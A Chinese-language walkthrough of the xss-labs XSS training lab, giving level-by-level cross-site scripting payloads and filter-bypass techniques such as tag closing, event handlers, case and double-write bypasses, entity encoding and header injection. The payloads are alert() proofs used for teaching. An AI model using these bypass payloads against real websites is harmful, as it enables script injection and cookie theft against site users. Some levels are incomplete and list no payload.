xsslabs通关教程
通过练习xsslabs可以熟练掌握XSS攻击的技巧 有助于更加深刻的理解XSS攻击的运用与流程
xsslabs下载地址:https://codeload.github.com/do0dl3/xss-labs/zip/refs/heads/master
无需安装 将之解压到WWW目录之后直接访问就可开始学习之旅
环境:Windows11
PHPstudy2018
背景知识:
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!
XSS分为:存储型 、反射型 、DOM型XSS
存储型XSS:存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie
反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。
DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。
Level1:不使用过滤器
简单观察知道是反射型XSS 通过get传参然后显示在页面
在name参数后面写上payload:<script>alert("XSS")</script>
Level2:闭合标签
这一关依旧正常输入 可以看到没有成功 F12
这里是将输入的文字添加到了value这个属性中,可以采用闭合input标签完成XSS攻击
payload:"><script>alert("xss")</script>
因为">闭合了input标签 最终的语句为 <input name="keyword" value=""> <script>alert("xss")</script>
Level3:单引号闭合并添加事件
输入text,查看网页源码
与Level2感觉相同 输入level2的payload 发现没有反应 查看源码
关键字符被编码成了html字符实体 这里可以通过<input>标签的一些特殊事件来执行js代码
payload: ' onfocus=javascript:alert('xss') >
' onfocus=javascript:alert('xss')//
输入之后发现没有反应 因为这个属性是要光标接触才发生,将光标移动到输入框然后点击就完成level3
Level4:双引号闭合并添加事件
第四关与第三关相同 只不过闭合引号变成了双引号
payload: " onfocus=javascript:alert('xss')//
" onfocus=javascript:alert('xss') "
Level5:javascript伪协议
随便输入:xss看源代码
在输入payload:<script>alert('xss')</script>
< > 被编码 script被替换 改用上一关的方法
onfocus 也被替换 这个时候采取另外一种html标签进行攻击
payload:"> <a href=javascript:alert('xss')>xss</a>//
出现链接 点击就可以完成挑战
Level6:大小写绕过
采用上一关的payload 发现href被替换 采取大写绕过
payload:"> <a Href=javascript:alert('xss')>xss</a>//
Level7:双写绕过
这一关过滤了关键词 script on href等 采取双写绕过
payload:" oonnfocus=javascscriptript:alert('xss')//
"><scscriptript>alert("xss")</scscriptript>//
"> <a hhrefref=javascscriptript:alert('xss')>xss</a>//
Level8:字符实体
这一关采取大小写 双写都无法绕过
javaSCscriptript:alert('xss')
使用编码绕过概念,就是将所有字符编码为HTML实体
HTML字符实体转化:https://www.qqxiuzi.cn/bianma/zifushiti.php
将 javascript:alert('xss') 转化为实体字符
payload:javascript:alert('xss')
Level:9 检测关键字存在
利用前几关的payload发现都不行 查看源码
分析:我们发现这里多了一个strpos
函数,这个函数是用来查找指定文本在字符串中第一次出现的位置,这时候我们就不得不在代码里加入http://
,但是并没有过滤HTML实体编码,所以我们还是使用编码绕过
方法:使用过滤HTML实体编码,但是由于需要加入http://,肯定不能在http://后面加代码,必须在前面,并且将http://注释掉才能执行
payload:javascript:alert('xss')//http://
Level10:隐藏信息
分析:这一关将之前的方法全部尝试 发现没有用 查看表单元素 发现有三个被隐藏的表单
方法:可以尝试构造文本框来攻击 随机将三个输入框的其中一个type属性值更改为text 然后增加onclick=alert('xss') 属性
payload:
Level11:Referer信息
PS:这一关也可以用level10的方法完成 但是这样也就无法体验xsslabs的价值
分析:根据返回的html判断refer字符为Web页面的自定义变量 可能存在XSS
payload:利用BP或者Hackbar修改Referer的值 这里我使用的Hackbar
Level12:user-agent信息
PS:我与上一关相类似 只不过从Referer换成了user-agent
payload:
" type="text" onmouseover=alert('xss')//
" type="text" onmouseover="alert('xss')"
Level13:Cookie信息
PS:与前两关相类似 只不过换成了Cookie
payload:user=" type= "text" onclick="alert('xss')"
Level14:exif xss
网上查找发现题有问题 此关略过
Level15:ng-include属性
payload:'level1.php?name="><a href="javascript:alert(/xss/)">xss</a>'
Level16:%0A或%0D作为空格使用
空格、/、script都被str_replace函数替换成 了,但是在HTML中可以将%0a或者%0D当成空格使用
在keyword后面输入payload
payload:<a%0Ahref='javas%0Acript:alert("xss")'>xss
<input%0Atype="text"%0Aonclick="alert('xss')">
Level17:参数拼接
PS:这一关不能使用火狐浏览器 我尝试多次无法完成 换其他的就好Edge
根据返回的代码判断,arg01和arg02提交的变量存在注入点
#注意在arg01这里要添加空格,不然就是将属性与之前的xsf01.swf?进行连接了
payload:arg01= onmousemove&arg02=javascript:alert(/xss/)
arg01=q&arg02= onmouseover=alert("xss")
Level:18
与17关一模一样 相同的payload
Level:19——20
PS:涉及反编译 未完成